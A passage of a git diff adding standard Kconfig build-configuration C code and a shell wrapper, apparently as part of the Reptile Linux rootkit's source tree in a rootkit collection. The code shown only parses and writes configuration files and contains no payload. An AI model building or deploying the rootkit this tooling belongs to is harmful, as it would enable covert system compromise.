getenv(SRCTREE); + if (env) { + sprintf(fullname, "%s/%s", env, name); + if (!stat(fullname, &buf)) + return fullname; + } + return name; +} + +static int conf_set_sym_val(struct symbol *sym, int def, int def_flags, char *p) +{ + char *p2; + + switch (sym->type) { + case S_TRISTATE: + if (p[0] == 'm') { + sym->def[def].tri = mod; + sym->flags |= def_flags; + break; + } + /* fall through */ + case S_BOOLEAN: + if (p[0] == 'y') { + sym->def[def].tri = yes; + sym->flags |= def_flags; + break; + } + if (p[0] == 'n') { + sym->def[def].tri = no; + sym->flags |= def_flags; + break; + } + if (def != S_DEF_AUTO) + conf_warning("symbol value '%s' invalid for %s", + p, sym->name); + return 1; + case S_OTHER: + if (*p != '"') { + for (p2 = p; *p2 && !isspace(*p2); p2++) + ; + sym->type = S_STRING; + goto done; + } + /* fall through */ + case S_STRING: + if (*p++ != '"') + break; + for (p2 = p; (p2 = strpbrk(p2, "\"\\")); p2++) { + if (*p2 == '"') { + *p2 = 0; + break; + } + memmove(p2, p2 + 1, strlen(p2)); + } + if (!p2) { + if (def != S_DEF_AUTO) + conf_warning("invalid string found"); + return 1; + } + /* fall through */ + case S_INT: + case S_HEX: + done: + if (sym_string_valid(sym, p)) { + sym->def[def].val = strdup(p); + sym->flags |= def_flags; + } else { + if (def != S_DEF_AUTO) + conf_warning("symbol value '%s' invalid for %s", + p, sym->name); + return 1; + } + break; + default: + ; + } + return 0; +} + +#define LINE_GROWTH 16 +static int add_byte(int c, char **lineptr, size_t slen, size_t *n) +{ + char *nline; + size_t new_size = slen + 1; + if (new_size > *n) { + new_size += LINE_GROWTH - 1; + new_size *= 2; + nline = realloc(*lineptr, new_size); + if (!nline) + return -1; + + *lineptr = nline; + *n = new_size; + } + + (*lineptr)[slen] = c; + + return 0; +} + +static ssize_t compat_getline(char **lineptr, size_t *n, FILE *stream) +{ + char *line = *lineptr; + size_t slen = 0; + + for (;;) { + int c = getc(stream); + + switch (c) { + case '\n': + if (add_byte(c, &line, slen, n) < 0) + goto e_out; + slen++; + /* fall through */ + case EOF: + if (add_byte('\0', &line, slen, n) < 0) + goto e_out; + *lineptr = line; + if (slen == 0) + return -1; + return slen; + default: + if (add_byte(c, &line, slen, n) < 0) + goto e_out; + slen++; + } + } + +e_out: + line[slen-1] = '\0'; + *lineptr = line; + return -1; +} + +int conf_read_simple(const char *name, int def) +{ + FILE *in = NULL; + char *line = NULL; + size_t line_asize = 0; + char *p, *p2; + struct symbol *sym; + int i, def_flags; + + if (name) { + in = zconf_fopen(name); + } else { + struct property *prop; + + name = conf_get_configname(); + in = zconf_fopen(name); + if (in) + goto load; + sym_add_change_count(1); + if (!sym_defconfig_list) { + if (modules_sym) + sym_calc_value(modules_sym); + return 1; + } + + for_all_defaults(sym_defconfig_list, prop) { + if (expr_calc_value(prop->visible.expr) == no || + prop->expr->type != E_SYMBOL) + continue; + name = conf_expand_value(prop->expr->left.sym->name); + in = zconf_fopen(name); + if (in) { + conf_message(_("using defaults found in %s"), + name); + goto load; + } + } + } + if (!in) + return 1; + +load: + conf_filename = name; + conf_lineno = 0; + conf_warnings = 0; + conf_unsaved = 0; + + def_flags = SYMBOL_DEF << def; + for_all_symbols(i, sym) { + sym->flags |= SYMBOL_CHANGED; + sym->flags &= ~(def_flags|SYMBOL_VALID); + if (sym_is_choice(sym)) + sym->flags |= def_flags; + switch (sym->type) { + case S_INT: + case S_HEX: + case S_STRING: + if (sym->def[def].val) + free(sym->def[def].val); + /* fall through */ + default: + sym->def[def].val = NULL; + sym->def[def].tri = no; + } + } + + while (compat_getline(&line, &line_asize, in) != -1) { + conf_lineno++; + sym = NULL; + if (line[0] == '#') { + if (memcmp(line + 2, CONFIG_, strlen(CONFIG_))) + continue; + p = strchr(line + 2 + strlen(CONFIG_), ' '); + if (!p) + continue; + *p++ = 0; + if (strncmp(p, "is not set", 10)) + continue; + if (def == S_DEF_USER) { + sym = sym_find(line + 2 + strlen(CONFIG_)); + if (!sym) { + sym_add_change_count(1); + goto setsym; + } + } else { + sym = sym_lookup(line + 2 + strlen(CONFIG_), 0); + if (sym->type == S_UNKNOWN) + sym->type = S_BOOLEAN; + } + if (sym->flags & def_flags) { + conf_warning("override: reassigning to symbol %s", sym->name); + } + switch (sym->type) { + case S_BOOLEAN: + case S_TRISTATE: + sym->def[def].tri = no; + sym->flags |= def_flags; + break; + default: + ; + } + } else if (memcmp(line, CONFIG_, strlen(CONFIG_)) == 0) { + p = strchr(line + strlen(CONFIG_), '='); + if (!p) + continue; + *p++ = 0; + p2 = strchr(p, '\n'); + if (p2) { + *p2-- = 0; + if (*p2 == '\r') + *p2 = 0; + } + if (def == S_DEF_USER) { + sym = sym_find(line + strlen(CONFIG_)); + if (!sym) { + sym_add_change_count(1); + goto setsym; + } + } else { + sym = sym_lookup(line + strlen(CONFIG_), 0); + if (sym->type == S_UNKNOWN) + sym->type = S_OTHER; + } + if (sym->flags & def_flags) { + conf_warning("override: reassigning to symbol %s", sym->name); + } + if (conf_set_sym_val(sym, def, def_flags, p)) + continue; + } else { + if (line[0] != '\r' && line[0] != '\n') + conf_warning("unexpected data"); + continue; + } +setsym: + if (sym && sym_is_choice_value(sym)) { + struct symbol *cs = prop_get_symbol(sym_get_choice_prop(sym)); + switch (sym->def[def].tri) { + case no: + break; + case mod: + if (cs->def[def].tri == yes) { + conf_warning("%s creates inconsistent choice state", sym->name); + cs->flags &= ~def_flags; + } + break; + case yes: + if (cs->def[def].tri != no) + conf_warning("override: %s changes choice state", sym->name); + cs->def[def].val = sym; + break; + } + cs->def[def].tri = EXPR_OR(cs->def[def].tri, sym->def[def].tri); + } + } + free(line); + fclose(in); + + if (modules_sym) + sym_calc_value(modules_sym); + return 0; +} + +int conf_read(const char *name) +{ + struct symbol *sym; + int i; + + sym_set_change_count(0); + + if (conf_read_simple(name, S_DEF_USER)) + return 1; + + for_all_symbols(i, sym) { + sym_calc_value(sym); + if (sym_is_choice(sym) || (sym->flags & SYMBOL_AUTO)) + continue; + if (sym_has_value(sym) && (sym->flags & SYMBOL_WRITE)) { + /* check that calculated value agrees with saved value */ + switch (sym->type) { + case S_BOOLEAN: + case S_TRISTATE: + if (sym->def[S_DEF_USER].tri != sym_get_tristate_value(sym)) + break; + if (!sym_is_choice(sym)) + continue; + /* fall through */ + default: + if (!strcmp(sym->curr.val, sym->def[S_DEF_USER].val)) + continue; + break; + } + } else if (!sym_has_value(sym) && !(sym->flags & SYMBOL_WRITE)) + /* no previous value and not saved */ + continue; + conf_unsaved++; + /* maybe print value in verbose mode... */ + } + + for_all_symbols(i, sym) { + if (sym_has_value(sym) && !sym_is_choice_value(sym)) { + /* Reset values of generates values, so they'll appear + * as new, if they should become visible, but that + * doesn't quite work if the Kconfig and the saved + * configuration disagree. + */ + if (sym->visible == no && !conf_unsaved) + sym->flags &= ~SYMBOL_DEF_USER; + switch (sym->type) { + case S_STRING: + case S_INT: + case S_HEX: + /* Reset a string value if it's out of range */ + if (sym_string_within_range(sym, sym->def[S_DEF_USER].val)) + break; + sym->flags &= ~(SYMBOL_VALID|SYMBOL_DEF_USER); + conf_unsaved++; + break; + default: + break; + } + } + } + + sym_add_change_count(conf_warnings || conf_unsaved); + + return 0; +} + +/* + * Kconfig configuration printer + * + * This printer is used when generating the resulting configuration after + * kconfig invocation and `defconfig' files. Unset symbol might be omitted by + * passing a non-NULL argument to the printer. + * + */ +static void +kconfig_print_symbol(FILE *fp, struct symbol *sym, const char *value, void *arg) +{ + + switch (sym->type) { + case S_BOOLEAN: + case S_TRISTATE: + if (*value == 'n') { + bool skip_unset = (arg != NULL); + + if (!skip_unset) + fprintf(fp, "# %s%s is not set\n", + CONFIG_, sym->name); + return; + } + break; + default: + break; + } + + fprintf(fp, "%s%s=%s\n", CONFIG_, sym->name, value); +} + +static void +kconfig_print_comment(FILE *fp, const char *value, void *arg) +{ + const char *p = value; + size_t l; + + for (;;) { + l = strcspn(p, "\n"); + fprintf(fp, "#"); + if (l) { + fprintf(fp, " "); + xfwrite(p, l, 1, fp); + p += l; + } + fprintf(fp, "\n"); + if (*p++ == '\0') + break; + } +} + +static struct conf_printer kconfig_printer_cb = +{ + .print_symbol = kconfig_print_symbol, + .print_comment = kconfig_print_comment, +}; + +/* + * Header printer + * + * This printer is used when generating the `include/generated/autoconf.h' file. + */ +static void +header_print_symbol(FILE *fp, struct symbol *sym, const char *value, void *arg) +{ + + switch (sym->type) { + case S_BOOLEAN: + case S_TRISTATE: { + const char *suffix = ""; + + switch (*value) { + case 'n': + break; + case 'm': + suffix = "_MODULE"; + /* fall through */ + default: + fprintf(fp, "#define %s%s%s 1\n", + CONFIG_, sym->name, suffix); + } + break; + } + case S_HEX: { + const char *prefix = ""; + + if (value[0] != '0' || (value[1] != 'x' && value[1] != 'X')) + prefix = "0x"; + fprintf(fp, "#define %s%s %s%s\n", + CONFIG_, sym->name, prefix, value); + break; + } + case S_STRING: + case S_INT: + fprintf(fp, "#define %s%s %s\n", + CONFIG_, sym->name, value); + break; + default: + break; + } + +} + +static void +header_print_comment(FILE *fp, const char *value, void *arg) +{ + const char *p = value; + size_t l; + + fprintf(fp, "/*\n"); + for (;;) { + l = strcspn(p, "\n"); + fprintf(fp, " *"); + if (l) { + fprintf(fp, " "); + xfwrite(p, l, 1, fp); + p += l; + } + fprintf(fp, "\n"); + if (*p++ == '\0') + break; + } + fprintf(fp, " */\n"); +} + +static struct conf_printer header_printer_cb = +{ + .print_symbol = header_print_symbol, + .print_comment = header_print_comment, +}; + +/* + * Tristate printer + * + * This printer is used when generating the `include/config/tristate.conf' file. + */ +static void +tristate_print_symbol(FILE *fp, struct symbol *sym, const char *value, void *arg) +{ + + if (sym->type == S_TRISTATE && *value != 'n') + fprintf(fp, "%s%s=%c\n", CONFIG_, sym->name, (char)toupper(*value)); +} + +static struct conf_printer tristate_printer_cb = +{ + .print_symbol = tristate_print_symbol, + .print_comment = kconfig_print_comment, +}; + +static void conf_write_symbol(FILE *fp, struct symbol *sym, + struct conf_printer *printer, void *printer_arg) +{ + const char *str; + + switch (sym->type) { + case S_OTHER: + case S_UNKNOWN: + break; + case S_STRING: + str = sym_get_string_value(sym); + str = sym_escape_string_value(str); + printer->print_symbol(fp, sym, str, printer_arg); + free((void *)str); + break; + default: + str = sym_get_string_value(sym); + printer->print_symbol(fp, sym, str, printer_arg); + } +} + +static void +conf_write_heading(FILE *fp, struct conf_printer *printer, void *printer_arg) +{ + char buf[256]; + + snprintf(buf, sizeof(buf), + "\n" + "Automatically generated file; DO NOT EDIT.\n" + "%s\n", + rootmenu.prompt->text); + + printer->print_comment(fp, buf, printer_arg); +} + +/* + * Write out a minimal config. + * All values that has default values are skipped as this is redundant. + */ +int conf_write_defconfig(const char *filename) +{ + struct symbol *sym; + struct menu *menu; + FILE *out; + + out = fopen(filename, "w"); + if (!out) + return 1; + + sym_clear_all_valid(); + + /* Traverse all menus to find all relevant symbols */ + menu = rootmenu.list; + + while (menu != NULL) + { + sym = menu->sym; + if (sym == NULL) { + if (!menu_is_visible(menu)) + goto next_menu; + } else if (!sym_is_choice(sym)) { + sym_calc_value(sym); + if (!(sym->flags & SYMBOL_WRITE)) + goto next_menu; + sym->flags &= ~SYMBOL_WRITE; + /* If we cannot change the symbol - skip */ + if (!sym_is_changable(sym)) + goto next_menu; + /* If symbol equals to default value - skip */ + if (strcmp(sym_get_string_value(sym), sym_get_string_default(sym)) == 0) + goto next_menu; + + /* + * If symbol is a choice value and equals to the + * default for a choice - skip. + * But only if value is bool and equal to "y" and + * choice is not "optional". + * (If choice is "optional" then all values can be "n") + */ + if (sym_is_choice_value(sym)) { + struct symbol *cs; + struct symbol *ds; + + cs = prop_get_symbol(sym_get_choice_prop(sym)); + ds = sym_choice_default(cs); + if (!sym_is_optional(cs) && sym == ds) { + if ((sym->type == S_BOOLEAN) && + sym_get_tristate_value(sym) == yes) + goto next_menu; + } + } + conf_write_symbol(out, sym, &kconfig_printer_cb, NULL); + } +next_menu: + if (menu->list != NULL) { + menu = menu->list; + } + else if (menu->next != NULL) { + menu = menu->next; + } else { + while ((menu = menu->parent)) { + if (menu->next != NULL) { + menu = menu->next; + break; + } + } + } + } + fclose(out); + return 0; +} + +int conf_write(const char *name) +{ + FILE *out; + struct symbol *sym; + struct menu *menu; + const char *basename; + const char *str; + char dirname[PATH_MAX+1], tmpname[PATH_MAX+1], newname[PATH_MAX+1]; + char *env; + + if (!name) + name = conf_get_configname(); + + dirname[0] = 0; + if (name && name[0]) { + struct stat st; + char *slash; + + if (!stat(name, &st) && S_ISDIR(st.st_mode)) { + strcpy(dirname, name); + strcat(dirname, "/"); + basename = conf_get_configname(); + } else if ((slash = strrchr(name, '/'))) { + int size = slash - name + 1; + memcpy(dirname, name, size); + dirname[size] = 0; + if (slash[1]) + basename = slash + 1; + else + basename = conf_get_configname(); + } else + basename = name; + } else + basename = conf_get_configname(); + + sprintf(newname, "%s%s", dirname, basename); + env = getenv(PRODUCT_ENV"_OVERWRITECONFIG"); + if (!env || !*env) { + sprintf(tmpname, "%s.tmpconfig.%d", dirname, (int)getpid()); + out = fopen(tmpname, "w"); + } else { + *tmpname = 0; + out = fopen(newname, "w"); + } + if (!out) + return 1; + + conf_write_heading(out, &kconfig_printer_cb, NULL); + + if (!conf_get_changed()) + sym_clear_all_valid(); + + menu = rootmenu.list; + while (menu) { + sym = menu->sym; + if (!sym) { + if (!menu_is_visible(menu)) + goto next; + str = menu_get_prompt(menu); + fprintf(out, "\n" + "#\n" + "# %s\n" + "#\n", str); + } else if (!(sym->flags & SYMBOL_CHOICE)) { + sym_calc_value(sym); + if (!(sym->flags & SYMBOL_WRITE)) + goto next; + sym->flags &= ~SYMBOL_WRITE; + + conf_write_symbol(out, sym, &kconfig_printer_cb, NULL); + } + +next: + if (menu->list) { + menu = menu->list; + continue; + } + if (menu->next) + menu = menu->next; + else while ((menu = menu->parent)) { + if (menu->next) { + menu = menu->next; + break; + } + } + } + fclose(out); + + if (*tmpname) { + strcat(dirname, basename); + strcat(dirname, ".old"); + rename(newname, dirname); + if (rename(tmpname, newname)) + return 1; + } + + conf_message(_("configuration written to %s"), newname); + + sym_set_change_count(0); + + return 0; +} + +static int conf_split_config(void) +{ + const char *name; + char path[PATH_MAX+1]; + char *opwd, *dir, *_name; + char *s, *d, c; + struct symbol *sym; + struct stat sb; + int res, i, fd; + + name = conf_get_autoconfig_name(); + conf_read_simple(name, S_DEF_AUTO); + + opwd = malloc(256); + _name = strdup(name); + if (opwd == NULL || _name == NULL) + return 1; + opwd = getcwd(opwd, 256); + dir = dirname(_name); + if (dir == NULL) { + res = 1; + goto err; + } + if (chdir(dir)) { + res = 1; + goto err; + } + + res = 0; + for_all_symbols(i, sym) { + sym_calc_value(sym); + if ((sym->flags & SYMBOL_AUTO) || !sym->name) + continue; + if (sym->flags & SYMBOL_WRITE) { + if (sym->flags & SYMBOL_DEF_AUTO) { + /* + * symbol has old and new value, + * so compare them... + */ + switch (sym->type) { + case S_BOOLEAN: + case S_TRISTATE: + if (sym_get_tristate_value(sym) == + sym->def[S_DEF_AUTO].tri) + continue; + break; + case S_STRING: + case S_HEX: + case S_INT: + if (!strcmp(sym_get_string_value(sym), + sym->def[S_DEF_AUTO].val)) + continue; + break; + default: + break; + } + } else { + /* + * If there is no old value, only 'no' (unset) + * is allowed as new value. + */ + switch (sym->type) { + case S_BOOLEAN: + case S_TRISTATE: + if (sym_get_tristate_value(sym) == no) + continue; + break; + default: + break; + } + } + } else if (!(sym->flags & SYMBOL_DEF_AUTO)) + /* There is neither an old nor a new value. */ + continue; + /* else + * There is an old value, but no new value ('no' (unset) + * isn't saved in auto.conf, so the old value is always + * different from 'no'). + */ + + /* Replace all '_' and append ".h" */ + s = sym->name; + d = path; + while ((c = *s++)) { + c = tolower(c); + *d++ = (c == '_') ? '/' : c; + } + strcpy(d, ".h"); + + /* Assume directory path already exists. */ + fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, 0644); + if (fd == -1) { + if (errno != ENOENT) { + res = 1; + break; + } + /* + * Create directory components, + * unless they exist already. + */ + d = path; + while ((d = strchr(d, '/'))) { + *d = 0; + if (stat(path, &sb) && mkdir(path, 0755)) { + res = 1; + goto out; + } + *d++ = '/'; + } + /* Try it again. */ + fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, 0644); + if (fd == -1) { + res = 1; + break; + } + } + close(fd); + } +out: + if (chdir(opwd)) + res = 1; +err: + free(opwd); + free(_name); + return res; +} + +int conf_write_autoconf(void) +{ + struct symbol *sym; + const char *name; + FILE *out, *tristate, *out_h; + int i; + char dir[PATH_MAX+1], buf[PATH_MAX+1]; + char *s; + + strcpy(dir, conf_get_configname()); + s = strrchr(dir, '/'); + if (s) + s[1] = 0; + else + dir[0] = 0; + + sym_clear_all_valid(); + + sprintf(buf, "%s.config.cmd", dir); + file_write_dep(buf); + + if (conf_split_config()) + return 1; + + sprintf(buf, "%s.tmpconfig", dir); + out = fopen(buf, "w"); + if (!out) + return 1; + + sprintf(buf, "%s.tmpconfig_tristate", dir); + tristate = fopen(buf, "w"); + if (!tristate) { + fclose(out); + return 1; + } + + sprintf(buf, "%s.tmpconfig.h", dir); + out_h = fopen(buf, "w"); + if (!out_h) { + fclose(out); + fclose(tristate); + return 1; + } + + conf_write_heading(out, &kconfig_printer_cb, NULL); + + conf_write_heading(tristate, &tristate_printer_cb, NULL); + + conf_write_heading(out_h, &header_printer_cb, NULL); + + for_all_symbols(i, sym) { + sym_calc_value(sym); + if (!(sym->flags & SYMBOL_WRITE) || !sym->name) + continue; + + /* write symbol to auto.conf, tristate and header files */ + conf_write_symbol(out, sym, &kconfig_printer_cb, (void *)1); + + conf_write_symbol(tristate, sym, &tristate_printer_cb, (void *)1); + + conf_write_symbol(out_h, sym, &header_printer_cb, NULL); + } + fclose(out); + fclose(tristate); + fclose(out_h); + + name = getenv(PRODUCT_ENV"_AUTOHEADER"); + if (!name) + name = "include/generated/autoconf.h"; + sprintf(buf, "%s.tmpconfig.h", dir); + if (rename(buf, name)) + return 1; + name = getenv(PRODUCT_ENV"_TRISTATE"); + if (!name) + name = "include/config/tristate.conf"; + sprintf(buf, "%s.tmpconfig_tristate", dir); + if (rename(buf, name)) + return 1; + name = conf_get_autoconfig_name(); + /* + * This must be the last step, kbuild has a dependency on auto.conf + * and this marks the successful completion of the previous steps. + */ + sprintf(buf, "%s.tmpconfig", dir); + if (rename(buf, name)) + return 1; + + return 0; +} + +static int sym_change_count; +static void (*conf_changed_callback)(void); + +void sym_set_change_count(int count) +{ + int _sym_change_count = sym_change_count; + sym_change_count = count; + if (conf_changed_callback && + (bool)_sym_change_count != (bool)count) + conf_changed_callback(); +} + +void sym_add_change_count(int count) +{ + sym_set_change_count(count + sym_change_count); +} + +bool conf_get_changed(void) +{ + return sym_change_count; +} + +void conf_set_changed_callback(void (*fn)(void)) +{ + conf_changed_callback = fn; +} + +static bool randomize_choice_values(struct symbol *csym) +{ + struct property *prop; + struct symbol *sym; + struct expr *e; + int cnt, def; + + /* + * If choice is mod then we may have more items selected + * and if no then no-one. + * In both cases stop. + */ + if (csym->curr.tri != yes) + return false; + + prop = sym_get_choice_prop(csym); + + /* count entries in choice block */ + cnt = 0; + expr_list_for_each_sym(prop->expr, e, sym) + cnt++; + + /* + * find a random value and set it to yes, + * set the rest to no so we have only one set + */ + def = (rand() % cnt); + + cnt = 0; + expr_list_for_each_sym(prop->expr, e, sym) { + if (def == cnt++) { + sym->def[S_DEF_USER].tri = yes; + csym->def[S_DEF_USER].val = sym; + } + else { + sym->def[S_DEF_USER].tri = no; + } + sym->flags |= SYMBOL_DEF_USER; + /* clear VALID to get value calculated */ + sym->flags &= ~SYMBOL_VALID; + } + csym->flags |= SYMBOL_DEF_USER; + /* clear VALID to get value calculated */ + csym->flags &= ~(SYMBOL_VALID); + + return true; +} + +void set_all_choice_values(struct symbol *csym) +{ + struct property *prop; + struct symbol *sym; + struct expr *e; + + prop = sym_get_choice_prop(csym); + + /* + * Set all non-assinged choice values to no + */ + expr_list_for_each_sym(prop->expr, e, sym) { + if (!sym_has_value(sym)) + sym->def[S_DEF_USER].tri = no; + } + csym->flags |= SYMBOL_DEF_USER; + /* clear VALID to get value calculated */ + csym->flags &= ~(SYMBOL_VALID | SYMBOL_NEED_SET_CHOICE_VALUES); +} + +bool conf_set_all_new_symbols(enum conf_def_mode mode) +{ + struct symbol *sym, *csym; + int i, cnt, pby, pty, ptm; /* pby: probability of boolean = y + * pty: probability of tristate = y + * ptm: probability of tristate = m + */ + + pby = 50; pty = ptm = 33; /* can't go as the default in switch-case + * below, otherwise gcc whines about + * -Wmaybe-uninitialized */ + if (mode == def_random) { + int n, p[3]; + char *env = getenv(PRODUCT_ENV"_PROBABILITY"); + n = 0; + while( env && *env ) { + char *endp; + int tmp = strtol( env, &endp, 10 ); + if( tmp >= 0 && tmp <= 100 ) { + p[n++] = tmp; + } else { + errno = ERANGE; + perror( PRODUCT_ENV"_PROBABILITY" ); + exit( 1 ); + } + env = (*endp == ':') ? endp+1 : endp; + if( n >=3 ) { + break; + } + } + switch( n ) { + case 1: + pby = p[0]; ptm = pby/2; pty = pby-ptm; + break; + case 2: + pty = p[0]; ptm = p[1]; pby = pty + ptm; + break; + case 3: + pby = p[0]; pty = p[1]; ptm = p[2]; + break; + } + + if( pty+ptm > 100 ) { + errno = ERANGE; + perror( PRODUCT_ENV"_PROBABILITY" ); + exit( 1 ); + } + } + bool has_changed = false; + + for_all_symbols(i, sym) { + if (sym_has_value(sym) || (sym->flags & SYMBOL_VALID)) + continue; + switch (sym_get_type(sym)) { + case S_BOOLEAN: + case S_TRISTATE: + has_changed = true; + switch (mode) { + case def_yes: + sym->def[S_DEF_USER].tri = yes; + break; + case def_mod: + sym->def[S_DEF_USER].tri = mod; + break; + case def_no: + sym->def[S_DEF_USER].tri = no; + break; + case def_random: + sym->def[S_DEF_USER].tri = no; + cnt = rand() % 100; + if (sym->type == S_TRISTATE) { + if (cnt < pty) + sym->def[S_DEF_USER].tri = yes; + else if (cnt < (pty+ptm)) + sym->def[S_DEF_USER].tri = mod; + } else if (cnt < pby) + sym->def[S_DEF_USER].tri = yes; + break; + default: + continue; + } + if (!(sym_is_choice(sym) && mode == def_random)) + sym->flags |= SYMBOL_DEF_USER; + break; + default: + break; + } + + } + + sym_clear_all_valid(); + + /* + * We have different type of choice blocks. + * If curr.tri equals to mod then we can select several + * choice symbols in one block. + * In this case we do nothing. + * If curr.tri equals yes then only one symbol can be + * selected in a choice block and we set it to yes, + * and the rest to no. + */ + if (mode != def_random) { + for_all_symbols(i, csym) { + if ((sym_is_choice(csym) && !sym_has_value(csym)) || + sym_is_choice_value(csym)) + csym->flags |= SYMBOL_NEED_SET_CHOICE_VALUES; + } + } + + for_all_symbols(i, csym) { + if (sym_has_value(csym) || !sym_is_choice(csym)) + continue; + + sym_calc_value(csym); + if (mode == def_random) + has_changed = randomize_choice_values(csym); + else { + set_all_choice_values(csym); + has_changed = true; + } + } + + return has_changed; +} diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/config.sh b/Linux/Rootkits/Reptile/scripts/kconfig/config.sh new file mode 100644 index 0000000..14dcbd0 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/config.sh @@ -0,0 +1,26 @@ +#!/bin/sh +# +# usage: kconfig/config.sh +# +# Runs the requested configuration from +# the directory to be configured. +# +# For instance: +# cd myproject/ +# kconfig/config.sh menuconfig +# +# Will generated a 'config' file in +# myproject/ from the 'Kconfig' file +# in myproject/ +# + +set -e +dir=`dirname $0` +topdir=`dirname $dir` +srcdir=`basename $dir` +kconfig_targets="${1-config}" +set +x +exec make -f $dir/GNUmakefile \ + TOPDIR=$topdir \ + SRCDIR=$srcdir \ + $kconfig_targets diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/expr.c b/Linux/Rootkits/Reptile/scripts/kconfig/expr.c new file mode 100644 index 0000000..d662652 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/expr.c @@ -0,0 +1,1168 @@ +/* + * Copyright (C) 2002 Roman Zippel + * Released under the terms of the GNU GPL v2.0. + */ + +#include +#include +#include + +#include "lkc.h" + +#define DEBUG_EXPR 0 + +struct expr *expr_alloc_symbol(struct symbol *sym) +{ + struct expr *e = xcalloc(1, sizeof(*e)); + e->type = E_SYMBOL; + e->left.sym = sym; + return e; +} + +struct expr *expr_alloc_one(enum expr_type type, struct expr *ce) +{ + struct expr *e = xcalloc(1, sizeof(*e)); + e->type = type; + e->left.expr = ce; + return e; +} + +struct expr *expr_alloc_two(enum expr_type type, struct expr *e1, struct expr *e2) +{ + struct expr *e = xcalloc(1, sizeof(*e)); + e->type = type; + e->left.expr = e1; + e->right.expr = e2; + return e; +} + +struct expr *expr_alloc_comp(enum expr_type type, struct symbol *s1, struct symbol *s2) +{ + struct expr *e = xcalloc(1, sizeof(*e)); + e->type = type; + e->left.sym = s1; + e->right.sym = s2; + return e; +} + +struct expr *expr_alloc_and(struct expr *e1, struct expr *e2) +{ + if (!e1) + return e2; + return e2 ? expr_alloc_two(E_AND, e1, e2) : e1; +} + +struct expr *expr_alloc_or(struct expr *e1, struct expr *e2) +{ + if (!e1) + return e2; + return e2 ? expr_alloc_two(E_OR, e1, e2) : e1; +} + +struct expr *expr_copy(const struct expr *org) +{ + struct expr *e; + + if (!org) + return NULL; + + e = xmalloc(sizeof(*org)); + memcpy(e, org, sizeof(*org)); + switch (org->type) { + case E_SYMBOL: + e->left = org->left; + break; + case E_NOT: + e->left.expr = expr_copy(org->left.expr); + break; + case E_EQUAL: + case E_UNEQUAL: + e->left.sym = org->left.sym; + e->right.sym = org->right.sym; + break; + case E_AND: + case E_OR: + case E_LIST: + e->left.expr = expr_copy(org->left.expr); + e->right.expr = expr_copy(org->right.expr); + break; + default: + printf("can't copy type %d\n", e->type); + free(e); + e = NULL; + break; + } + + return e; +} + +void expr_free(struct expr *e) +{ + if (!e) + return; + + switch (e->type) { + case E_SYMBOL: + break; + case E_NOT: + expr_free(e->left.expr); + return; + case E_EQUAL: + case E_UNEQUAL: + break; + case E_OR: + case E_AND: + expr_free(e->left.expr); + expr_free(e->right.expr); + break; + default: + printf("how to free type %d?\n", e->type); + break; + } + free(e); +} + +static int trans_count; + +#define e1 (*ep1) +#define e2 (*ep2) + +static void __expr_eliminate_eq(enum expr_type type, struct expr **ep1, struct expr **ep2) +{ + if (e1->type == type) { + __expr_eliminate_eq(type, &e1->left.expr, &e2); + __expr_eliminate_eq(type, &e1->right.expr, &e2); + return; + } + if (e2->type == type) { + __expr_eliminate_eq(type, &e1, &e2->left.expr); + __expr_eliminate_eq(type, &e1, &e2->right.expr); + return; + } + if (e1->type == E_SYMBOL && e2->type == E_SYMBOL && + e1->left.sym == e2->left.sym && + (e1->left.sym == &symbol_yes || e1->left.sym == &symbol_no)) + return; + if (!expr_eq(e1, e2)) + return; + trans_count++; + expr_free(e1); expr_free(e2); + switch (type) { + case E_OR: + e1 = expr_alloc_symbol(&symbol_no); + e2 = expr_alloc_symbol(&symbol_no); + break; + case E_AND: + e1 = expr_alloc_symbol(&symbol_yes); + e2 = expr_alloc_symbol(&symbol_yes); + break; + default: + ; + } +} + +void expr_eliminate_eq(struct expr **ep1, struct expr **ep2) +{ + if (!e1 || !e2) + return; + switch (e1->type) { + case E_OR: + case E_AND: + __expr_eliminate_eq(e1->type, ep1, ep2); + default: + ; + } + if (e1->type != e2->type) switch (e2->type) { + case E_OR: + case E_AND: + __expr_eliminate_eq(e2->type, ep1, ep2); + default: + ; + } + e1 = expr_eliminate_yn(e1); + e2 = expr_eliminate_yn(e2); +} + +#undef e1 +#undef e2 + +int expr_eq(struct expr *e1, struct expr *e2) +{ + int res, old_count; + + if (e1->type != e2->type) + return 0; + switch (e1->type) { + case E_EQUAL: + case E_UNEQUAL: + return e1->left.sym == e2->left.sym && e1->right.sym == e2->right.sym; + case E_SYMBOL: + return e1->left.sym == e2->left.sym; + case E_NOT: + return expr_eq(e1->left.expr, e2->left.expr); + case E_AND: + case E_OR: + e1 = expr_copy(e1); + e2 = expr_copy(e2); + old_count = trans_count; + expr_eliminate_eq(&e1, &e2); + res = (e1->type == E_SYMBOL && e2->type == E_SYMBOL && + e1->left.sym == e2->left.sym); + expr_free(e1); + expr_free(e2); + trans_count = old_count; + return res; + case E_LIST: + case E_RANGE: + case E_NONE: + /* panic */; + } + + if (DEBUG_EXPR) { + expr_fprint(e1, stdout); + printf(" = "); + expr_fprint(e2, stdout); + printf(" ?\n"); + } + + return 0; +} + +struct expr *expr_eliminate_yn(struct expr *e) +{ + struct expr *tmp; + + if (e) switch (e->type) { + case E_AND: + e->left.expr = expr_eliminate_yn(e->left.expr); + e->right.expr = expr_eliminate_yn(e->right.expr); + if (e->left.expr->type == E_SYMBOL) { + if (e->left.expr->left.sym == &symbol_no) { + expr_free(e->left.expr); + expr_free(e->right.expr); + e->type = E_SYMBOL; + e->left.sym = &symbol_no; + e->right.expr = NULL; + return e; + } else if (e->left.expr->left.sym == &symbol_yes) { + free(e->left.expr); + tmp = e->right.expr; + *e = *(e->right.expr); + free(tmp); + return e; + } + } + if (e->right.expr->type == E_SYMBOL) { + if (e->right.expr->left.sym == &symbol_no) { + expr_free(e->left.expr); + expr_free(e->right.expr); + e->type = E_SYMBOL; + e->left.sym = &symbol_no; + e->right.expr = NULL; + return e; + } else if (e->right.expr->left.sym == &symbol_yes) { + free(e->right.expr); + tmp = e->left.expr; + *e = *(e->left.expr); + free(tmp); + return e; + } + } + break; + case E_OR: + e->left.expr = expr_eliminate_yn(e->left.expr); + e->right.expr = expr_eliminate_yn(e->right.expr); + if (e->left.expr->type == E_SYMBOL) 